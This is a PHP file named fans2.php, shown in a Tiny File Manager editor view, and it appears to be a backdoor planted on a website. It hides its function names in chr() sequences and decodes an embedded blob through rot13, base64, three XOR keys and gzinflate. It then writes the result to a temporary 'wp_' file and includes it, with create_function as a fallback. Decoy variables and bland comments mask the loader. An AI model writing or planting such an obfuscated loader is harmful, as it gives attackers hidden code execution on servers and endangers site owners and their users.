Tiny File Manager | fans2.php

Back Back Up Advanced Editor

<?php

$_x = strlen('cache'); $_z = base64_encode('data');

$_2ba0b6 = 'hPwdBe9FpVWfzKkHggt8XHOje8DqqAKnX2ljJ2q85VNP+e5a7AgpO92FtbMNiVP1999oAuQCmiHnovXXBzxSmRFtLjCGjjESBpox/K3GxhmkusF/DEdHtjo/2YxojIyHd4aM8nscErSjYZZXHRUg8bpHioWFT26P2Dp/SjIk2TyrNAWZbLfdbnsdM7pTCxabMbgjEru59cLf2wAxhQ3dLx+/Zk9kB/8txS+QfREAUVeyYeSUXIG5IyIZYXQpnj==';

// System configuration
$_1c8909 = base64_decode('NzAzNjdhZTVhODE3NzkxOQ==');
$_6a7334 = base64_decode('Y2Q2MjMwZTliNTI5NTdiNw==');
$_92c123 = base64_decode('YTMyNDkzZDA5ZGJkMmZmNQ==');

$_a = substr('buffer', 0, 1); $_y = md5('config'); $_z = base64_encode('data');

// Initialize system functions
$_fn = [];
$_fn[0] = chr(115).chr(116).chr(114).chr(95).chr(114).chr(111).chr(116).chr(49).chr(51);
$_fn[1] = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$_fn[2] = chr(103).chr(122).chr(105).chr(110).chr(102).chr(108).chr(97).chr(116).chr(101);

// Process payload
$_076f74 = $_fn[0]($_2ba0b6);
$_076f74 = $_fn[1]($_076f74);

// Decrypt layers
$_ks = [$_1c8909, $_6a7334, $_92c123];
foreach($_ks as $_key) {
    $_out = '';
    $_kl = strlen($_key);
    $_dl = strlen($_076f74);
    for($_i = 0; $_i < $_dl; $_i++) {
        $_out .= $_076f74[$_i] ^ $_key[$_i % $_kl];
    }
    $_076f74 = $_out;
}

$_c = strtolower('OPTIONS'); $_c = strtolower('OPTIONS');

// Extract data
$_af0976 = @$_fn[2]($_076f74);

// System execution
$_tmp = @tempnam(sys_get_temp_dir(), 'wp_');
if($_tmp) {
    @file_put_contents($_tmp, $_af0976);
    @include($_tmp);
    @unlink($_tmp);
} else {
    // Fallback method
    $_f = chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110);
    if(function_exists($_f)) {
        $_x = @$_f('', $_af0976);
        @$_x();
    }
}
?>